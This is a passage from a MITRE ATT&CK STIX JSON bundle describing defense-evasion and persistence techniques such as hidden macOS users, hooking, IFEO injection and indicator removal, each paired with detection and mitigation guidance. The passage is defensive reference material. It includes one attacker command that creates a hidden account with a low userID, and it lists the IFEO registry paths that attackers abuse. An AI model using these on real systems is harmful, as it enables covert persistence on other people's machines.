            "x_mitre_version": "1.0"
        },
        {
            "type": "course-of-action",
            "id": "course-of-action--12cba7de-0a22-4a56-b51e-c514c67c3b43",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Hidden Users Mitigation",
            "description": "If the computer is domain joined, then group policy can help restrict the ability to create or hide users. Similarly, preventing the modification of the <code>/Library/Preferences/com.apple.loginwindow</code> <code>Hide500Users</code> value will force all users to be visible.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1147",
                    "external_id": "T1147"
                }
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--ce73ea43-8e77-47ba-9c11-5e9c9c58b9ff",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-12-14T16:46:06.044Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Hidden Users",
            "description": "Every user account in macOS has a userID associated with it. When creating a user, you can specify the userID for that account. There is a property value in <code>/Library/Preferences/com.apple.loginwindow</code> called <code>Hide500Users</code> that prevents users with userIDs 500 and lower from appearing at the login screen. By using the Create Account technique with a userID under 500 and enabling this property (setting it to Yes), an adversary can hide their user accounts much more easily: <code>sudo dscl . -create /Users/username UniqueID 401</code> (Citation: Cybereason OSX Pirrit).\n\nDetection: This technique prevents the new user from showing up at the log in screen, but all of the other signs of a new user still exist. The user still gets a home directory and will appear in the authentication logs.\n\nPlatforms: macOS\n\nData Sources: Authentication logs, File monitoring\n\nPermissions Required: Administrator, root",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1147",
                    "external_id": "T1147"
                },
                {
                    "source_name": "Cybereason OSX Pirrit",
                    "description": "Amit Serper. (2016). Cybereason Lab Analysis OSX.Pirrit. Retrieved July 8, 2017.",
                    "url": "https://www2.cybereason.com/research-osx-pirrit-mac-os-x-secuirty"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_data_sources": [
                "Authentication logs",
                "File monitoring"
            ],
            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_permissions_required": [
                "Administrator",
                "root"
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "course-of-action",
            "id": "course-of-action--fae44eea-caa7-42b7-a2e2-0c815ba81b9a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Hidden Window Mitigation",
            "description": "Whitelist programs that are allowed to have this plist tag. All other programs should be considered suspicious.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1143",
                    "external_id": "T1143"
                }
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--04ee0cb7-dac3-4c6c-9387-4c6aa096f4cf",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-12-14T16:46:06.044Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Hidden Window",
            "description": "The configurations for how applications run on macOS and OS X are listed in property list (plist) files. One of the tags in these files can be <code>apple.awt.UIElement</code>, which allows for Java applications to prevent the application's icon from appearing in the Dock. A common use for this is when applications run in the system tray, but don't also want to show up in the Dock. However, adversaries can abuse this feature and hide their running window  (Citation: Antiquated Mac Malware).\n\nDetection: Plist files are ASCII text files with a specific format, so they're relatively easy to parse. File monitoring can check for the <code>apple.awt.UIElement</code> or any other suspicious plist tag in plist files and flag them.\n\nPlatforms: macOS\n\nData Sources: File monitoring\n\nPermissions Required: User",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1143",
                    "external_id": "T1143"
                },
                {
                    "source_name": "Antiquated Mac Malware",
                    "description": "Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.",
                    "url": "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_data_sources": [
                "File monitoring"
            ],
            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_permissions_required": [
                "User"
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "course-of-action",
            "id": "course-of-action--7aee8ea0-0baa-4232-b379-5d9ce98352cf",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Hooking Mitigation",
            "description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating all hooking will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1179",
                    "external_id": "T1179"
                }
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--66f73398-8394-4711-85e5-34c8540b22a5",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-16T16:13:52.465Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Hooking",
            "description": "Windows processes often leverage application programming interface (API) functions to perform tasks that require reusable system resources. Windows API functions are typically stored in dynamic-link libraries (DLLs) as exported functions. Hooking involves redirecting calls to these functions and can be implemented via:\n* '''Hooks procedures''', which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs. (Citation: Microsoft Hook Overview) (Citation: Engame Process Injection July 2017)\n* '''Import address table (IAT) hooking''', which use modifications to a process\u2019s IAT, where pointers to imported API functions are stored. (Citation: Engame Process Injection July 2017) (Citation: Adlice Software IAT Hooks Oct 2014) (Citation: MWRInfoSecurity Dynamic Hooking 2015)\n* '''Inline hooking''', which overwrites the first bytes in an API function to redirect code flow. (Citation: Engame Process Injection July 2017) (Citation: HighTech Bridge Inline Hooking Sept 2011) (Citation: MWRInfoSecurity Dynamic Hooking 2015)\n\nSimilar to Process Injection, adversaries may use hooking to load and execute malicious code within the context of another process, masking the execution while also allowing access to the process's memory and possibly elevated privileges. Installing hooking mechanisms may also provide Persistence via continuous invocation when the functions are called through normal use.\n\nMalicious hooking mechanisms may also capture API calls that include parameters that reveal user authentication credentials for Credential Access. (Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017)\n\nHooking is commonly utilized by Rootkits to conceal files,\nprocesses, Registry keys, and other objects in order to hide malware and associated behaviors. (Citation: Symantec Windows Rootkits)\n\nDetection: Monitor for calls to the SetWindowsHookEx and SetWinEventHook functions, which install a hook procedure. (Citation: Microsoft Hook Overview) (Citation: Volatility Detecting Hooks Sept 2012) Also consider analyzing hook chains (which hold pointers to hook procedures for each type of hook) using tools  (Citation: Volatility Detecting Hooks Sept 2012) (Citation: PreKageo Winhook Jul 2011) (Citation: Jay GetHooks Sept 2011) or by programmatically examining internal kernel structures. (Citation: Zairon Hooking Dec 2006) (Citation: EyeofRa Detecting Hooking June 2017)\n\nRootkits detectors  (Citation: GMER Rootkits) can also be used to monitor for various flavors of hooking activity.\n\nVerify integrity of live processes by comparing code in memory to that of corresponding static binaries, specifically checking for jumps and other instructions that redirect code flow. Also consider taking snapshots of newly started processes  (Citation: Microsoft Process Snapshot) to compare the in-memory IAT to the real addresses of the referenced functions. (Citation: StackExchange Hooks Jul 2012) (Citation: Adlice Software IAT Hooks Oct 2014)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.\n\nPlatforms: Windows\n\nData Sources: API monitoring, Binary file metadata, DLL monitoring, Loaded DLLs, Process Monitoring, Windows event logs\n\nPermissions Required: Administrator, SYSTEM",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1179",
                    "external_id": "T1179"
                },
                {
                    "source_name": "Microsoft Hook Overview",
                    "description": "Microsoft. (n.d.). Hooks Overview. Retrieved December 12, 2017.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms644959.aspx"
                },
                {
                    "source_name": "Engame Process Injection July 2017",
                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
                    "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
                },
                {
                    "source_name": "Adlice Software IAT Hooks Oct 2014",
                    "description": "Tigzy. (2014, October 15). Userland Rootkits: Part 1, IAT hooks. Retrieved December 12, 2017.",
                    "url": "https://www.adlice.com/userland-rootkits-part-1-iat-hooks/"
                },
                {
                    "source_name": "MWRInfoSecurity Dynamic Hooking 2015",
                    "description": "Hillman, M. (2015, August 8). Dynamic Hooking Techniques: User Mode. Retrieved December 20, 2017.",
                    "url": "https://www.mwrinfosecurity.com/our-thinking/dynamic-hooking-techniques-user-mode/"
                },
                {
                    "source_name": "HighTech Bridge Inline Hooking Sept 2011",
                    "description": "Mariani, B. (2011, September 6). Inline Hooking in Windows. Retrieved December 12, 2017.",
                    "url": "https://www.exploit-db.com/docs/17802.pdf"
                },
                {
                    "source_name": "Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017",
                    "description": "Microsoft. (2017, September 15). TrojanSpy:Win32/Ursnif.gen!I. Retrieved December 18, 2017."
                },
                {
                    "source_name": "Symantec Windows Rootkits",
                    "description": "Symantec. (n.d.). Windows Rootkit Overview. Retrieved December 21, 2017.",
                    "url": "https://www.symantec.com/avcenter/reference/windows.rootkit.overview.pdf"
                },
                {
                    "source_name": "Volatility Detecting Hooks Sept 2012",
                    "description": "Volatility Labs. (2012, September 24). MoVP 3.1 Detecting Malware Hooks in the Windows GUI Subsystem. Retrieved December 12, 2017.",
                    "url": "https://volatility-labs.blogspot.com/2012/09/movp-31-detecting-malware-hooks-in.html"
                },
                {
                    "source_name": "PreKageo Winhook Jul 2011",
                    "description": "Prekas, G. (2011, July 11). Winhook. Retrieved December 12, 2017.",
                    "url": "https://github.com/prekageo/winhook"
                },
                {
                    "source_name": "Jay GetHooks Sept 2011",
                    "description": "Satiro, J. (2011, September 14). GetHooks. Retrieved December 12, 2017.",
                    "url": "https://github.com/jay/gethooks"
                },
                {
                    "source_name": "Zairon Hooking Dec 2006",
                    "description": "Felici, M. (2006, December 6). Any application-defined hook procedure on my machine?. Retrieved December 12, 2017.",
                    "url": "https://zairon.wordpress.com/2006/12/06/any-application-defined-hook-procedure-on-my-machine/"
                },
                {
                    "source_name": "EyeofRa Detecting Hooking June 2017",
                    "description": "Eye of Ra. (2017, June 27). Windows Keylogger Part 2: Defense against user-land. Retrieved December 12, 2017.",
                    "url": "https://eyeofrablog.wordpress.com/2017/06/27/windows-keylogger-part-2-defense-against-user-land/"
                },
                {
                    "source_name": "GMER Rootkits",
                    "description": "GMER. (n.d.). GMER. Retrieved December 12, 2017.",
                    "url": "http://www.gmer.net/"
                },
                {
                    "source_name": "Microsoft Process Snapshot",
                    "description": "Microsoft. (n.d.). Taking a Snapshot and Viewing Processes. Retrieved December 12, 2017.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms686701.aspx"
                },
                {
                    "source_name": "StackExchange Hooks Jul 2012",
                    "description": "Stack Exchange - Security. (2012, July 31). What are the methods to find hooked functions and APIs?. Retrieved December 12, 2017.",
                    "url": "https://security.stackexchange.com/questions/17904/what-are-the-methods-to-find-hooked-functions-and-apis"
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            "x_mitre_platforms": [
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Hypervisor Mitigation",
            "description": "Prevent adversary access to privileged accounts necessary to install a hypervisor.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1062",
                    "external_id": "T1062"
                }
            ],
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            "x_mitre_domains": [
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            "id": "attack-pattern--4be89c7c-ace6-4876-9377-c8d54cef3d63",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:30:50.958Z",
            "modified": "2018-01-17T12:56:55.080Z",
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            "description": "A type-1 hypervisor is a software layer that sits between the guest operating systems and system's hardware. (Citation: Wikipedia Hypervisor) It presents a virtual running environment to an operating system. An example of a common hypervisor is Xen. (Citation: Wikipedia Xen) A type-1 hypervisor operates at a level below the operating system and could be designed with Rootkit functionality to hide its existence from the guest operating system. (Citation: Myers 2007) A malicious hypervisor of this nature could be used to persist on systems through interruption.\n\nDetection: Type-1 hypervisors may be detected by performing timing analysis. Hypervisors emulate certain CPU instructions that would normally be executed by the hardware. If an instruction takes orders of magnitude longer to execute than normal on a system that should not contain a hypervisor, one may be present. (Citation: virtualization.info 2006)\n\nPlatforms: Windows\n\nData Sources: System calls\n\nPermissions Required: Administrator, SYSTEM",
            "kill_chain_phases": [
                {
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                    "phase_name": "persistence"
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                {
                    "source_name": "Wikipedia Hypervisor",
                    "description": "Wikipedia. (2016, May 23). Hypervisor. Retrieved June 11, 2016.",
                    "url": "https://en.wikipedia.org/wiki/Hypervisor"
                },
                {
                    "source_name": "Wikipedia Xen",
                    "description": "Xen. (n.d.). In Wikipedia. Retrieved November 13, 2014.",
                    "url": "http://en.wikipedia.org/wiki/Xen"
                },
                {
                    "source_name": "Myers 2007",
                    "description": "Myers, M., and Youndt, S. (2007). An Introduction to Hardware-Assisted Virtual Machine (HVM) Rootkits. Retrieved November 13, 2014.",
                    "url": "http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.90.8832&rep=rep1&type=pdf"
                },
                {
                    "source_name": "virtualization.info 2006",
                    "description": "virtualization.info. (Interviewer) & Liguori, A. (Interviewee). (2006, August 11). Debunking Blue Pill myth &#91;Interview transcript&#93;. Retrieved November 13, 2014.",
                    "url": "http://virtualization.info/en/news/2006/08/debunking-blue-pill-myth.html"
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            "id": "course-of-action--33f76731-b840-446f-bee0-53687dad24d9",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
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            "description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating all IFEO will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. (Citation: Microsoft IFEOorMalware July 2015) Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.\n\nIdentify and block potentially malicious software that may be executed through IFEO by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown executables.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1183",
                    "external_id": "T1183"
                },
                {
                    "source_name": "Microsoft IFEOorMalware July 2015",
                    "description": "Microsoft. (2015, July 30). Part of Windows 10 or really Malware?. Retrieved December 18, 2017.",
                    "url": "https://answers.microsoft.com/windows/forum/windows%2010-security/part-of-windows-10-or-really-malware/af715663-a34a-423c-850d-2a46f369a54c"
                },
                {
                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
                },
                {
                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
                },
                {
                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
                }
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
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            "id": "attack-pattern--62166220-e498-410f-a90a-19d4339d4e99",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-16T16:13:52.465Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Image File Execution Options Injection",
            "description": "Image File Execution Options (IFEO) enable a developer to attach a debugger to an application. When a process is created, any executable file present in an application\u2019s IFEO will be prepended to the application\u2019s name, effectively launching the new process under the debugger (e.g., \u201cC:\\dbg\\ntsd.exe -g  notepad.exe\u201d). (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nIFEOs can be set directly via the Registry or in Global Flags via the Gflags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as Debugger Values in the Registry under <code>HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options/<executable></code> and <code> HKLM\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\<executable> </code> where <code><executable></code> is the binary on which the debugger is attached. (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nSimilar to Process Injection, this value can be abused to obtain persistence and privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Engame Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous invocation.\n\nMalware may also use IFEO for Defense Evasion by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008)\n\nDetection: Monitor for common processes spawned under abnormal parents and/or with creation flags indicative of debugging such as <code>DEBUG_PROCESS</code> and <code>DEBUG_ONLY_THIS_PROCESS</code>. (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nMonitor the IFEOs Registry value for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Engame Process Injection July 2017)\n\nPlatforms: Windows\n\nData Sources: Process Monitoring, Windows Registry, Windows event logs\n\nPermissions Required: Administrator, SYSTEM",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1183",
                    "external_id": "T1183"
                },
                {
                    "source_name": "Microsoft Dev Blog IFEO Mar 2010",
                    "description": "Shanbhag, M. (2010, March 24). Image File Execution Options (IFEO). Retrieved December 18, 2017.",
                    "url": "https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/"
                },
                {
                    "source_name": "Microsoft GFlags Mar 2017",
                    "description": "Microsoft. (2017, May 23). GFlags Overview. Retrieved December 18, 2017.",
                    "url": "https://docs.microsoft.com/windows-hardware/drivers/debugger/gflags-overview"
                },
                {
                    "source_name": "Engame Process Injection July 2017",
                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
                    "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
                },
                {
                    "source_name": "FSecure Hupigon",
                    "description": "FSecure. (n.d.). Backdoor - W32/Hupigon.EMV - Threat Description. Retrieved December 18, 2017.",
                    "url": "https://www.f-secure.com/v-descs/backdoor%20w32%20hupigon%20emv.shtml"
                },
                {
                    "source_name": "Symantec Ushedix June 2008",
                    "description": "Symantec. (2008, June 28). Trojan.Ushedix. Retrieved December 18, 2017.",
                    "url": "https://www.symantec.com/security%20response/writeup.jsp?docid=2008-062807-2501-99&tabid=2"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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                "Windows event logs"
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            "x_mitre_platforms": [
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            "x_mitre_attack_spec_version": "2.1.0",
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            "id": "attack-pattern--6a5848a8-6201-4a2c-8a6a-ca5af8c6f3df",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:30:47.384Z",
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            "description": "An adversary may attempt to block indicators or events from leaving the host machine. In the case of network-based reporting of indicators, an adversary may block traffic associated with reporting to prevent central analysis. This may be accomplished by many means, such as stopping a local process or creating a host-based firewall rule to block traffic to a specific server.\n\nDetection: Detect lack of reported activity from a host sensor. Different methods of blocking may cause different disruptions in reporting. Systems may suddenly stop reporting all data or only certain kinds of data.\n\nDepending on the types of host information collected, an analyst may be able to detect the event that triggered a process to stop or connection to be blocked.\n\nPlatforms: Windows\n\nData Sources: Sensor health and status, Process command-line parameters, Process monitoring\n\nDefense Bypassed: Anti-virus, Log analysis, Host intrusion prevention systems",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1054",
                    "external_id": "T1054"
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            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
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            "x_mitre_version": "1.0"
        },
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            "id": "course-of-action--4b998a71-7b8f-4dcc-8f3f-277f2e740271",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Indicator Removal from Tools Mitigation",
            "description": "Mitigation is difficult in instances like this because the adversary may have access to the system through another channel and can learn what techniques or tools are blocked by resident defenses. Exercising best practices with configuration and security as well as ensuring that proper process is followed during investigation of potential compromise is essential to detecting a larger intrusion through discrete alerts.\n\nIdentify and block potentially malicious software that may be used by an adversary by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1066",
                    "external_id": "T1066"
                },
                {
                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
                },
                {
                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
                },
                {
                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
                },
                {
                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
                },
                {
                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
                }
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
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            "id": "attack-pattern--00d0b012-8a03-410e-95de-5826bf542de6",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:30:54.176Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Indicator Removal from Tools",
            "description": "If a malicious tool is detected and quarantined or otherwise curtailed, an adversary may be able to determine why the malicious tool was detected (the indicator), modify the tool by removing the indicator, and use the updated version that is no longer detected by the target's defensive systems or subsequent targets that may use similar systems.\n\nA good example of this is when malware is detected with a file signature and quarantined by anti-virus software. An adversary who can determine that the malware was quarantined because of its file signature may use Software Packing or otherwise modify the file so it has a different signature, and then re-use the malware.\n\nDetection: The first detection of a malicious tool may trigger an anti-virus or other security tool alert. Similar events may also occur at the boundary through network IDS, email scanning appliance, etc. The initial detection should be treated as an indication of a potentially more invasive intrusion. The alerting system should be thoroughly investigated beyond that initial alert for activity that was not detected. Adversaries may continue with an operation, assuming that individual events like an anti-virus detect will not be investigated or that an analyst will not be able to conclusively link that event to other activity occurring on the network.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Process use of network, Anti-virus, Binary file metadata, Process command-line parameters, Process monitoring\n\nDefense Bypassed: Anti-virus, Log analysis, Host intrusion prevention systems",
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                    "phase_name": "defense-evasion"
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                    "url": "https://attack.mitre.org/wiki/Technique/T1066",
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                "Process monitoring"
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            "x_mitre_version": "1.0"
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Indicator Removal on Host Mitigation",
            "description": "Automatically forward events to a log server or data repository to prevent conditions in which the adversary can locate and manipulate data on the local system. When possible, minimize time delay on event reporting to avoid prolonged storage on the local system. Protect generated event files that are stored locally with proper permissions and authentication. Obfuscate/encrypt event files locally and in transit to avoid giving feedback to an adversary.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1070",
                    "external_id": "T1070"
                }
            ],
            "spec_version": "2.1",
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            "x_mitre_domains": [
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            "id": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:30:55.892Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Indicator Removal on Host",
            "description": "Adversaries may delete or alter generated event files on a host system, including potentially captured files such as quarantined malware. This may compromise the integrity of the security solution, causing events to go unreported, or make forensic analysis and incident response more difficult due to lack of sufficient data to determine what occurred.\n\nDetection: File system monitoring may be used to detect improper deletion or modification of indicator files. Events not stored on the file system will require different detection mechanisms.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Process command-line parameters, Process monitoring\n\nDefense Bypassed: Anti-virus, Log analysis, Host intrusion prevention systems",
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            ],
            "x_mitre_data_sources": [
                "File monitoring",
                "Process command-line parameters",
                "Process monitoring"
            ],
            "x_mitre_defense_bypassed": [
                "Anti-virus",
                "Log analysis",
                "Host intrusion prevention systems"
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
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        {
            "type": "course-of-action",
            "id": "course-of-action--da8a87d2-946d-4c34-9a30-709058b98996",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Input Capture Mitigation",
            "description": "Identify and block potentially malicious software that may be used to acquire credentials or information from the user by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)\n\nIn cases where this behavior is difficult to detect or mitigate, efforts can be made to lessen some of the impact that might result from an adversary acquiring credential information. It is also good practice to follow mitigation recommendations for adversary use of Valid Accounts.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1056",
                    "external_id": "T1056"
                },
                {
